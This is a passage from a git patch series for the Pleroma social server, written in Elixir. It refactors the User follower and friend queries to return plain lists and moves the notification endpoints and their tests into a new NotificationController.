+685,9 @@ defmodule Pleroma.User do @spec get_followers(User.t(), pos_integer()) :: {:ok, list(User.t())} def get_followers(user, page \\ nil) do - q = get_followers_query(user, page) - - {:ok, Repo.all(q)} + user + |> get_followers_query(page) + |> Repo.all() end @spec get_external_followers(User.t(), pos_integer()) :: {:ok, list(User.t())} @@ -720,9 +720,9 @@ defmodule Pleroma.User do def get_friends_query(user), do: get_friends_query(user, nil) def get_friends(user, page \\ nil) do - q = get_friends_query(user, page) - - {:ok, Repo.all(q)} + user + |> get_friends_query(page) + |> Repo.all() end def get_friends_ids(user, page \\ nil) do @@ -733,15 +733,13 @@ defmodule Pleroma.User do @spec get_follow_requests(User.t()) :: {:ok, [User.t()]} def get_follow_requests(%User{} = user) do - users = - Activity.follow_requests_for_actor(user) - |> join(:inner, [a], u in User, on: a.actor == u.ap_id) - |> where([a, u], not fragment("? @> ?", u.following, ^[user.follower_address])) - |> group_by([a, u], u.id) - |> select([a, u], u) - |> Repo.all() - - {:ok, users} + user + |> Activity.follow_requests_for_actor() + |> join(:inner, [a], u in User, on: a.actor == u.ap_id) + |> where([a, u], not fragment("? @> ?", u.following, ^[user.follower_address])) + |> group_by([a, u], u.id) + |> select([a, u], u) + |> Repo.all() end def increase_note_count(%User{} = user) do @@ -1104,15 +1102,13 @@ defmodule Pleroma.User do def deactivate(%User{} = user, status \\ true) do info_cng = User.Info.set_activation_status(user.info, status) - with {:ok, friends} <- User.get_friends(user), - {:ok, followers} <- User.get_followers(user), - {:ok, user} <- + with {:ok, user} <- user |> change() |> put_embed(:info, info_cng) |> update_and_set_cache() do - Enum.each(followers, &invalidate_cache(&1)) - Enum.each(friends, &update_follower_count(&1)) + Enum.each(get_followers(user), &invalidate_cache/1) + Enum.each(get_friends(user), &update_follower_count/1) {:ok, user} end @@ -1137,18 +1133,18 @@ defmodule Pleroma.User do {:ok, _user} = ActivityPub.delete(user) # Remove all relationships - {:ok, followers} = User.get_followers(user) - - Enum.each(followers, fn follower -> + user + |> get_followers() + |> Enum.each(fn follower -> ActivityPub.unfollow(follower, user) - User.unfollow(follower, user) + unfollow(follower, user) end) - {:ok, friends} = User.get_friends(user) - - Enum.each(friends, fn followed -> + user + |> get_friends() + |> Enum.each(fn followed -> ActivityPub.unfollow(user, followed) - User.unfollow(user, followed) + unfollow(user, followed) end) delete_user_activities(user) @@ -1160,13 +1156,11 @@ defmodule Pleroma.User do def perform(:fetch_initial_posts, %User{} = user) do pages = Pleroma.Config.get!([:fetch_initial_posts, :pages]) - Enum.each( - # Insert all the posts in reverse order, so they're in the right order on the timeline - Enum.reverse(Utils.fetch_ordered_collection(user.info.source_data["outbox"], pages)), - &Pleroma.Web.Federator.incoming_ap_doc/1 - ) - - {:ok, user} + # Insert all the posts in reverse order, so they're in the right order on the timeline + user.info.source_data["outbox"] + |> Utils.fetch_ordered_collection(pages) + |> Enum.reverse() + |> Enum.each(&Pleroma.Web.Federator.incoming_ap_doc/1) end def perform(:deactivate_async, user, status), do: deactivate(user, status) @@ -1252,16 +1246,12 @@ defmodule Pleroma.User do }) end - def delete_user_activities(%User{ap_id: ap_id} = user) do + def delete_user_activities(%User{ap_id: ap_id}) do ap_id |> Activity.Queries.by_actor() |> RepoStreamer.chunk_stream(50) - |> Stream.each(fn activities -> - Enum.each(activities, &delete_activity(&1)) - end) + |> Stream.each(fn activities -> Enum.each(activities, &delete_activity/1) end) |> Stream.run() - - {:ok, user} end defp delete_activity(%{data: %{"type" => "Create"}} = activity) do diff --git a/lib/pleroma/web/activity_pub/publisher.ex b/lib/pleroma/web/activity_pub/publisher.ex index 114251b24..3866dacee 100644 --- a/lib/pleroma/web/activity_pub/publisher.ex +++ b/lib/pleroma/web/activity_pub/publisher.ex @@ -111,11 +111,11 @@ defmodule Pleroma.Web.ActivityPub.Publisher do @spec recipients(User.t(), Activity.t()) :: list(User.t()) | [] defp recipients(actor, activity) do - {:ok, followers} = + followers = if actor.follower_address in activity.recipients do User.get_external_followers(actor) else - {:ok, []} + [] end fetchers = diff --git a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex index 6421c2c53..270c74089 100644 --- a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex @@ -958,11 +958,11 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do end def follow_requests(%{assigns: %{user: followed}} = conn, _params) do - with {:ok, follow_requests} <- User.get_follow_requests(followed) do - conn - |> put_view(AccountView) - |> render("accounts.json", %{for: followed, users: follow_requests, as: :user}) - end + follow_requests = User.get_follow_requests(followed) + + conn + |> put_view(AccountView) + |> render("accounts.json", %{for: followed, users: follow_requests, as: :user}) end def authorize_follow_request(%{assigns: %{user: followed}} = conn, %{"id" => id}) do diff --git a/test/user_test.exs b/test/user_test.exs index aebe7aa06..21ea1d28e 100644 --- a/test/user_test.exs +++ b/test/user_test.exs @@ -74,8 +74,8 @@ defmodule Pleroma.UserTest do CommonAPI.follow(follower, unlocked) CommonAPI.follow(follower, locked) - assert {:ok, []} = User.get_follow_requests(unlocked) - assert {:ok, [activity]} = User.get_follow_requests(locked) + assert [] = User.get_follow_requests(unlocked) + assert [activity] = User.get_follow_requests(locked) assert activity end @@ -90,7 +90,7 @@ defmodule Pleroma.UserTest do CommonAPI.follow(accepted_follower, locked) User.follow(accepted_follower, locked) - assert {:ok, [activity]} = User.get_follow_requests(locked) + assert [activity] = User.get_follow_requests(locked) assert activity end @@ -99,10 +99,10 @@ defmodule Pleroma.UserTest do follower = insert(:user) CommonAPI.follow(follower, followed) - assert {:ok, [_activity]} = User.get_follow_requests(followed) + assert [_activity] = User.get_follow_requests(followed) {:ok, _follower} = User.block(followed, follower) - assert {:ok, []} = User.get_follow_requests(followed) + assert [] = User.get_follow_requests(followed) end test "follow_all follows mutliple users" do @@ -560,7 +560,7 @@ defmodule Pleroma.UserTest do test "it enforces the fqn format for nicknames" do cs = User.remote_user_creation(%{@valid_remote | nickname: "bla"}) - assert cs.changes.local == false + assert Ecto.Changeset.get_field(cs, :local) == false assert cs.changes.avatar refute cs.valid? end @@ -584,7 +584,7 @@ defmodule Pleroma.UserTest do {:ok, follower_one} = User.follow(follower_one, user) {:ok, follower_two} = User.follow(follower_two, user) - {:ok, res} = User.get_followers(user) + res = User.get_followers(user) assert Enum.member?(res, follower_one) assert Enum.member?(res, follower_two) @@ -600,7 +600,7 @@ defmodule Pleroma.UserTest do {:ok, user} = User.follow(user, followed_one) {:ok, user} = User.follow(user, followed_two) - {:ok, res} = User.get_friends(user) + res = User.get_friends(user) followed_one = User.get_cached_by_ap_id(followed_one.ap_id) followed_two = User.get_cached_by_ap_id(followed_two.ap_id) @@ -975,7 +975,7 @@ defmodule Pleroma.UserTest do info = User.get_cached_user_info(user2) assert info.follower_count == 0 - assert {:ok, []} = User.get_followers(user2) + assert [] = User.get_followers(user2) end test "hide a user from friends" do @@ -991,7 +991,7 @@ defmodule Pleroma.UserTest do assert info.following_count == 0 assert User.following_count(user2) == 0 - assert {:ok, []} = User.get_friends(user2) + assert [] = User.get_friends(user2) end test "hide a user's statuses from timelines and notifications" do @@ -1034,7 +1034,7 @@ defmodule Pleroma.UserTest do test ".delete_user_activities deletes all create activities", %{user: user} do {:ok, activity} = CommonAPI.post(user, %{"status" => "2hu"}) - {:ok, _} = User.delete_user_activities(user) + User.delete_user_activities(user) # TODO: Remove favorites, repeats, delete activities. refute Activity.get_by_id(activity.id) From a66a7a328ffe908bda4e8453111559aa7cd579a6 Mon Sep 17 00:00:00 2001 From: Egor Kislitsyn Date: Tue, 24 Sep 2019 15:16:44 +0700 Subject: [PATCH 13/33] Extract notification actions from `MastodonAPIController` into `NotificationController` --- .../controllers/mastodon_api_controller.ex | 45 --- .../controllers/notification_controller.ex | 57 ++++ lib/pleroma/web/router.ex | 10 +- .../notification_controller_test.exs | 299 ++++++++++++++++++ .../mastodon_api_controller_test.exs | 293 ----------------- 5 files changed, 361 insertions(+), 343 deletions(-) create mode 100644 lib/pleroma/web/mastodon_api/controllers/notification_controller.ex create mode 100644 test/web/mastodon_api/controllers/notification_controller_test.exs diff --git a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex index 6421c2c53..1d53f7509 100644 --- a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex @@ -16,7 +16,6 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do alias Pleroma.Filter alias Pleroma.Formatter alias Pleroma.HTTP - alias Pleroma.Notification alias Pleroma.Object alias Pleroma.Pagination alias Pleroma.Plugs.RateLimiter @@ -35,7 +34,6 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do alias Pleroma.Web.MastodonAPI.ListView alias Pleroma.Web.MastodonAPI.MastodonAPI alias Pleroma.Web.MastodonAPI.MastodonView - alias Pleroma.Web.MastodonAPI.NotificationView alias Pleroma.Web.MastodonAPI.ReportView alias Pleroma.Web.MastodonAPI.ScheduledActivityView alias Pleroma.Web.MastodonAPI.StatusView @@ -722,49 +720,6 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do end end - def notifications(%{assigns: %{user: user}} = conn, params) do - notifications = MastodonAPI.get_notifications(user, params) - - conn - |> add_link_headers(notifications) - |> put_view(NotificationView) - |> render("index.json", %{notifications: notifications, for: user}) - end - - def get_notification(%{assigns: %{user: user}} = conn, %{"id" => id} = _params) do - with {:ok, notification} <- Notification.get(user, id) do - conn - |> put_view(NotificationView) - |> render("show.json", %{notification: notification, for: user}) - else - {:error, reason} -> - conn - |> put_status(:forbidden) - |> json(%{"error" => reason}) - end - end - - def clear_notifications(%{assigns: %{user: user}} = conn, _params) do - Notification.clear(user) - json(conn, %{}) - end - - def dismiss_notification(%{assigns: %{user: user}} = conn, %{"id" => id} = _params) do - with {:ok, _notif} <- Notification.dismiss(user, id) do - json(conn, %{}) - else - {:error, reason} -> - conn - |> put_status(:forbidden) - |> json(%{"error" => reason}) - end - end - - def destroy_multiple(%{assigns: %{user: user}} = conn, %{"ids" => ids} = _params) do - Notification.destroy_multiple(user, ids) - json(conn, %{}) - end - def relationships(%{assigns: %{user: user}} = conn, %{"id" => id}) do id = List.wrap(id) q = from(u in User, where: u.id in ^id) diff --git a/lib/pleroma/web/mastodon_api/controllers/notification_controller.ex b/lib/pleroma/web/mastodon_api/controllers/notification_controller.ex new file mode 100644 index 000000000..7e4d7297c --- /dev/null +++ b/lib/pleroma/web/mastodon_api/controllers/notification_controller.ex @@ -0,0 +1,57 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.NotificationController do + use Pleroma.Web, :controller + + import Pleroma.Web.ControllerHelper, only: [add_link_headers: 2] + + alias Pleroma.Notification + alias Pleroma.Web.MastodonAPI.MastodonAPI + + # GET /api/v1/notifications + def index(%{assigns: %{user: user}} = conn, params) do + notifications = MastodonAPI.get_notifications(user, params) + + conn + |> add_link_headers(notifications) + |> render("index.json", notifications: notifications, for: user) + end + + # GET /api/v1/notifications/:id + def show(%{assigns: %{user: user}} = conn, %{"id" => id}) do + with {:ok, notification} <- Notification.get(user, id) do + render(conn, "show.json", notification: notification, for: user) + else + {:error, reason} -> + conn + |> put_status(:forbidden) + |> json(%{"error" => reason}) + end + end + + # POST /api/v1/notifications/clear + def clear(%{assigns: %{user: user}} = conn, _params) do + Notification.clear(user) + json(conn, %{}) + end + + # POST /api/v1/notifications/dismiss + def dismiss(%{assigns: %{user: user}} = conn, %{"id" => id} = _params) do + with {:ok, _notif} <- Notification.dismiss(user, id) do + json(conn, %{}) + else + {:error, reason} -> + conn + |> put_status(:forbidden) + |> json(%{"error" => reason}) + end + end + + # DELETE /api/v1/notifications/destroy_multiple + def destroy_multiple(%{assigns: %{user: user}} = conn, %{"ids" => ids} = _params) do + Notification.destroy_multiple(user, ids) + json(conn, %{}) + end +end diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex index e583093d2..9fee5beac 100644 --- a/lib/pleroma/web/router.ex +++ b/lib/pleroma/web/router.ex @@ -324,11 +324,11 @@ defmodule Pleroma.Web.Router do get("/favourites", MastodonAPIController, :favourites) get("/bookmarks", MastodonAPIController, :bookmarks) - post("/notifications/clear", MastodonAPIController, :clear_notifications) - post("/notifications/dismiss", MastodonAPIController, :dismiss_notification) - get("/notifications", MastodonAPIController, :notifications) - get("/notifications/:id", MastodonAPIController, :get_notification) - delete("/notifications/destroy_multiple", MastodonAPIController, :destroy_multiple) + get("/notifications", NotificationController, :index) + get("/notifications/:id", NotificationController, :show) + post("/notifications/clear", NotificationController, :clear) + post("/notifications/dismiss", NotificationController, :dismiss) + delete("/notifications/destroy_multiple", NotificationController, :destroy_multiple) get("/scheduled_statuses", MastodonAPIController, :scheduled_statuses) get("/scheduled_statuses/:id", MastodonAPIController, :show_scheduled_status) diff --git a/test/web/mastodon_api/controllers/notification_controller_test.exs b/test/web/mastodon_api/controllers/notification_controller_test.exs new file mode 100644 index 000000000..e4137e92c --- /dev/null +++ b/test/web/mastodon_api/controllers/notification_controller_test.exs @@ -0,0 +1,299 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2019 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.MastodonAPI.NotificationControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Notification + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + test "list of notifications", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) + + {:ok, [_notification]} = Notification.create_notifications(activity) + + conn = + conn + |> assign(:user, user) + |> get("/api/v1/notifications") + + expected_response = + "hi @#{user.nickname}" + + assert [%{"status" => %{"content" => response}} | _rest] = json_response(conn, 200) + assert response == expected_response + end + + test "getting a single notification", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) + + {:ok, [notification]} = Notification.create_notifications(activity) + + conn = + conn + |> assign(:user, user) + |> get("/api/v1/notifications/#{notification.id}") + + expected_response = + "hi @#{user.nickname}" + + assert %{"status" => %{"content" => response}} = json_response(conn, 200) + assert response == expected_response + end + + test "dismissing a single notification", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) + + {:ok, [notification]} = Notification.create_notifications(activity) + + conn = + conn + |> assign(:user, user) + |> post("/api/v1/notifications/dismiss", %{"id" => notification.id}) + + assert %{} = json_response(conn, 200) + end + + test "clearing all notifications", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) + + {:ok, [_notification]} = Notification.create_notifications(activity) + + conn = + conn + |> assign(:user, user) + |> post("/api/v1/notifications/clear") + + assert %{} = json_response(conn, 200) + + conn = + build_conn() + |> assign(:user, user) + |> get("/api/v1/notifications") + + assert all = json_response(conn, 200) + assert all == [] + end + + test "paginates notifications using min_id, since_id, max_id, and limit", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity1} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) + {:ok, activity2} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) + {:ok, activity3} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) + {:ok, activity4} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) + + notification1_id = get_notification_id_by_activity(activity1) + notification2_id = get_notification_id_by_activity(activity2) + notification3_id = get_notification_id_by_activity(activity3) + notification4_id = get_notification_id_by_activity(activity4) + + conn = assign(conn, :user, user) + + # min_id + result = + conn + |> get("/api/v1/notifications?limit=2&min_id=#{notification1_id}") + |> json_response(:ok) + + assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result + + # since_id + result = + conn + |> get("/api/v1/notifications?limit=2&since_id=#{notification1_id}") + |> json_response(:ok) + + assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result + + # max_id + result = + conn + |> get("/api/v1/notifications?limit=2&max_id=#{notification4_id}") + |> json_response(:ok) + + assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result + end + + test "filters notifications using exclude_types", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + + {:ok, mention_activity} = CommonAPI.post(other_user, %{"status" => "hey @#{user.nickname}"}) + {:ok, create_activity} = CommonAPI.post(user, %{"status" => "hey"}) + {:ok, favorite_activity, _} = CommonAPI.favorite(create_activity.id, other_user) + {:ok, reblog_activity, _} = CommonAPI.repeat(create_activity.id, other_user) + {:ok, _, _, follow_activity} = CommonAPI.follow(other_user, user) + + mention_notification_id = get_notification_id_by_activity(mention_activity) + favorite_notification_id = get_notification_id_by_activity(favorite_activity) + reblog_notification_id = get_notification_id_by_activity(reblog_activity) + follow_notification_id = get_notification_id_by_activity(follow_activity) + + conn = assign(conn, :user, user) + + conn_res = + get(conn, "/api/v1/notifications", %{exclude_types: ["mention", "favourite", "reblog"]}) + + assert [%{"id" => ^follow_notification_id}] = json_response(conn_res, 200) + + conn_res = + get(conn, "/api/v1/notifications", %{exclude_types: ["favourite", "reblog", "follow"]}) + + assert [%{"id" => ^mention_notification_id}] = json_response(conn_res, 200) + + conn_res = + get(conn, "/api/v1/notifications", %{exclude_types: ["reblog", "follow", "mention"]}) + + assert [%{"id" => ^favorite_notification_id}] = json_response(conn_res, 200) + + conn_res = + get(conn, "/api/v1/notifications", %{exclude_types: ["follow", "mention", "favourite"]}) + + assert [%{"id" => ^reblog_notification_id}] = json_response(conn_res, 200) + end + + test "destroy multiple", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + + {:ok, activity1} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) + {:ok, activity2} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) + {:ok, activity3} = CommonAPI.post(user, %{"status" => "hi @#{other_user.nickname}"}) + {:ok, activity4} = CommonAPI.post(user, %{"status" => "hi @#{other_user.nickname}"}) + + notification1_id = get_notification_id_by_activity(activity1) + notification2_id = get_notification_id_by_activity(activity2) + notification3_id = get_notification_id_by_activity(activity3) + notification4_id = get_notification_id_by_activity(activity4) + + conn = assign(conn, :user, user) + + result = + conn + |> get("/api/v1/notifications") + |> json_response(:ok) + + assert [%{"id" => ^notification2_id}, %{"id" => ^notification1_id}] = result + + conn2 = + conn + |> assign(:user, other_user) + + result = + conn2 + |> get("/api/v1/notifications") + |> json_response(:ok) + + assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result + + conn_destroy = + conn + |> delete("/api/v1/notifications/destroy_multiple", %{ + "ids" => [notification1_id, notification2_id] + }) + + assert json_response(conn_destroy, 200) == %{} + + result = + conn2 + |> get("/api/v1/notifications") + |> json_response(:ok) + + assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result + end + + test "doesn't see notifications after muting user with notifications", %{conn: conn} do + user = insert(:user) + user2 = insert(:user) + + {:ok, _, _, _} = CommonAPI.follow(user, user2) + {:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"}) + + conn = assign(conn, :user, user) + + conn = get(conn, "/api/v1/notifications") + + assert length(json_response(conn, 200)) == 1 + + {:ok, user} = User.mute(user, user2) + + conn = assign(build_conn(), :user, user) + conn = get(conn, "/api/v1/notifications") + + assert json_response(conn, 200) == [] + end + + test "see notifications after muting user without notifications", %{conn: conn} do + user = insert(:user) + user2 = insert(:user) + + {:ok, _, _, _} = CommonAPI.follow(user, user2) + {:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"}) + + conn = assign(conn, :user, user) + + conn = get(conn, "/api/v1/notifications") + + assert length(json_response(conn, 200)) == 1 + + {:ok, user} = User.mute(user, user2, false) + + conn = assign(build_conn(), :user, user) + conn = get(conn, "/api/v1/notifications") + + assert length(json_response(conn, 200)) == 1 + end + + test "see notifications after muting user with notifications and with_muted parameter", %{ + conn: conn + } do + user = insert(:user) + user2 = insert(:user) + + {:ok, _, _, _} = CommonAPI.follow(user, user2) + {:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"}) + + conn = assign(conn, :user, user) + + conn = get(conn, "/api/v1/notifications") + + assert length(json_response(conn, 200)) == 1 + + {:ok, user} = User.mute(user, user2) + + conn = assign(build_conn(), :user, user) + conn = get(conn, "/api/v1/notifications", %{"with_muted" => "true"}) + + assert length(json_response(conn, 200)) == 1 + end + + defp get_notification_id_by_activity(%{id: id}) do + Notification + |> Repo.get_by(activity_id: id) + |> Map.get(:id) + |> to_string() + end +end diff --git a/test/web/mastodon_api/mastodon_api_controller_test.exs b/test/web/mastodon_api/mastodon_api_controller_test.exs index 73a3bf135..0eb78fe5b 100644 --- a/test/web/mastodon_api/mastodon_api_controller_test.exs +++ b/test/web/mastodon_api/mastodon_api_controller_test.exs @@ -999,299 +999,6 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do end end - describe "notifications" do - test "list of notifications", %{conn: conn} do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) - - {:ok, [_notification]} = Notification.create_notifications(activity) - - conn = - conn - |> assign(:user, user) - |> get("/api/v1/notifications") - - expected_response = - ~s(hi @#{user.nickname}) - - assert [%{"status" => %{"content" => response}} | _rest] = json_response(conn, 200) - assert response == expected_response - end - - test "getting a single notification", %{conn: conn} do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) - - {:ok, [notification]} = Notification.create_notifications(activity) - - conn = - conn - |> assign(:user, user) - |> get("/api/v1/notifications/#{notification.id}") - - expected_response = - ~s(hi @#{user.nickname}) - - assert %{"status" => %{"content" => response}} = json_response(conn, 200) - assert response == expected_response - end - - test "dismissing a single notification", %{conn: conn} do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) - - {:ok, [notification]} = Notification.create_notifications(activity) - - conn = - conn - |> assign(:user, user) - |> post("/api/v1/notifications/dismiss", %{"id" => notification.id}) - - assert %{} = json_response(conn, 200) - end - - test "clearing all notifications", %{conn: conn} do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) - - {:ok, [_notification]} = Notification.create_notifications(activity) - - conn = - conn - |> assign(:user, user) - |> post("/api/v1/notifications/clear") - - assert %{} = json_response(conn, 200) - - conn = - build_conn() - |> assign(:user, user) - |> get("/api/v1/notifications") - - assert all = json_response(conn, 200) - assert all == [] - end - - test "paginates notifications using min_id, since_id, max_id, and limit", %{conn: conn} do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity1} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) - {:ok, activity2} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) - {:ok, activity3} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) - {:ok, activity4} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) - - notification1_id = Repo.get_by(Notification, activity_id: activity1.id).id |> to_string() - notification2_id = Repo.get_by(Notification, activity_id: activity2.id).id |> to_string() - notification3_id = Repo.get_by(Notification, activity_id: activity3.id).id |> to_string() - notification4_id = Repo.get_by(Notification, activity_id: activity4.id).id |> to_string() - - conn = - conn - |> assign(:user, user) - - # min_id - conn_res = - conn - |> get("/api/v1/notifications?limit=2&min_id=#{notification1_id}") - - result = json_response(conn_res, 200) - assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result - - # since_id - conn_res = - conn - |> get("/api/v1/notifications?limit=2&since_id=#{notification1_id}") - - result = json_response(conn_res, 200) - assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result - - # max_id - conn_res = - conn - |> get("/api/v1/notifications?limit=2&max_id=#{notification4_id}") - - result = json_response(conn_res, 200) - assert [%{"id" => ^notification3_id}, %{"id" => ^notification2_id}] = result - end - - test "filters notifications using exclude_types", %{conn: conn} do - user = insert(:user) - other_user = insert(:user) - - {:ok, mention_activity} = CommonAPI.post(other_user, %{"status" => "hey @#{user.nickname}"}) - {:ok, create_activity} = CommonAPI.post(user, %{"status" => "hey"}) - {:ok, favorite_activity, _} = CommonAPI.favorite(create_activity.id, other_user) - {:ok, reblog_activity, _} = CommonAPI.repeat(create_activity.id, other_user) - {:ok, _, _, follow_activity} = CommonAPI.follow(other_user, user) - - mention_notification_id = - Repo.get_by(Notification, activity_id: mention_activity.id).id |> to_string() - - favorite_notification_id = - Repo.get_by(Notification, activity_id: favorite_activity.id).id |> to_string() - - reblog_notification_id = - Repo.get_by(Notification, activity_id: reblog_activity.id).id |> to_string() - - follow_notification_id = - Repo.get_by(Notification, activity_id: follow_activity.id).id |> to_string() - - conn = - conn - |> assign(:user, user) - - conn_res = - get(conn, "/api/v1/notifications", %{exclude_types: ["mention", "favourite", "reblog"]}) - - assert [%{"id" => ^follow_notification_id}] = json_response(conn_res, 200) - - conn_res = - get(conn, "/api/v1/notifications", %{exclude_types: ["favourite", "reblog", "follow"]}) - - assert [%{"id" => ^mention_notification_id}] = json_response(conn_res, 200) - - conn_res = - get(conn, "/api/v1/notifications", %{exclude_types: ["reblog", "follow", "mention"]}) - - assert [%{"id" => ^favorite_notification_id}] = json_response(conn_res, 200) - - conn_res = - get(conn, "/api/v1/notifications", %{exclude_types: ["follow", "mention", "favourite"]}) - - assert [%{"id" => ^reblog_notification_id}] = json_response(conn_res, 200) - end - - test "destroy multiple", %{conn: conn} do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity1} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) - {:ok, activity2} = CommonAPI.post(other_user, %{"status" => "hi @#{user.nickname}"}) - {:ok, activity3} = CommonAPI.post(user, %{"status" => "hi @#{other_user.nickname}"}) - {:ok, activity4} = CommonAPI.post(user, %{"status" => "hi @#{other_user.nickname}"}) - - notification1_id = Repo.get_by(Notification, activity_id: activity1.id).id |> to_string() - notification2_id = Repo.get_by(Notification, activity_id: activity2.id).id |> to_string() - notification3_id = Repo.get_by(Notification, activity_id: activity3.id).id |> to_string() - notification4_id = Repo.get_by(Notification, activity_id: activity4.id).id |> to_string() - - conn = - conn - |> assign(:user, user) - - conn_res = - conn - |> get("/api/v1/notifications") - - result = json_response(conn_res, 200) - assert [%{"id" => ^notification2_id}, %{"id" => ^notification1_id}] = result - - conn2 = - conn - |> assign(:user, other_user) - - conn_res = - conn2 - |> get("/api/v1/notifications") - - result = json_response(conn_res, 200) - assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result - - conn_destroy = - conn - |> delete("/api/v1/notifications/destroy_multiple", %{ - "ids" => [notification1_id, notification2_id] - }) - - assert json_response(conn_destroy, 200) == %{} - - conn_res = - conn2 - |> get("/api/v1/notifications") - - result = json_response(conn_res, 200) - assert [%{"id" => ^notification4_id}, %{"id" => ^notification3_id}] = result - end - - test "doesn't see notifications after muting user with notifications", %{conn: conn} do - user = insert(:user) - user2 = insert(:user) - - {:ok, _, _, _} = CommonAPI.follow(user, user2) - {:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"}) - - conn = assign(conn, :user, user) - - conn = get(conn, "/api/v1/notifications") - - assert length(json_response(conn, 200)) == 1 - - {:ok, user} = User.mute(user, user2) - - conn = assign(build_conn(), :user, user) - conn = get(conn, "/api/v1/notifications") - - assert json_response(conn, 200) == [] - end - - test "see notifications after muting user without notifications", %{conn: conn} do - user = insert(:user) - user2 = insert(:user) - - {:ok, _, _, _} = CommonAPI.follow(user, user2) - {:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"}) - - conn = assign(conn, :user, user) - - conn = get(conn, "/api/v1/notifications") - - assert length(json_response(conn, 200)) == 1 - - {:ok, user} = User.mute(user, user2, false) - - conn = assign(build_conn(), :user, user) - conn = get(conn, "/api/v1/notifications") - - assert length(json_response(conn, 200)) == 1 - end - - test "see notifications after muting user with notifications and with_muted parameter", %{ - conn: conn - } do - user = insert(:user) - user2 = insert(:user) - - {:ok, _, _, _} = CommonAPI.follow(user, user2) - {:ok, _} = CommonAPI.post(user2, %{"status" => "hey @#{user.nickname}"}) - - conn = assign(conn, :user, user) - - conn = get(conn, "/api/v1/notifications") - - assert length(json_response(conn, 200)) == 1 - - {:ok, user} = User.mute(user, user2) - - conn = assign(build_conn(), :user, user) - conn = get(conn, "/api/v1/notifications", %{"with_muted" => "true"}) - - assert length(json_response(conn, 200)) == 1 - end - end - describe "reblogging" do test "reblogs and returns the reblogged status", %{conn: conn} do activity = insert(:note_activity) From 209395c7e60afe7115f22afd6936d9c6bdd7bb72 Mon Sep 17 00:00:00 2001 From: Egor Kislitsyn Date: Tue, 24 Sep 2019 19:50:07 +0700 Subject: [PATCH 14/33] Add User.change_info/2 and User.update_info/2 --- lib/mix/tasks/pleroma/user.ex | 25 +-- lib/pleroma/user.ex | 173 +++++------------- lib/pleroma/user/info.ex | 24 +-- .../web/admin_api/admin_api_controller.ex | 59 +++--- lib/pleroma/web/common_api/common_api.ex | 28 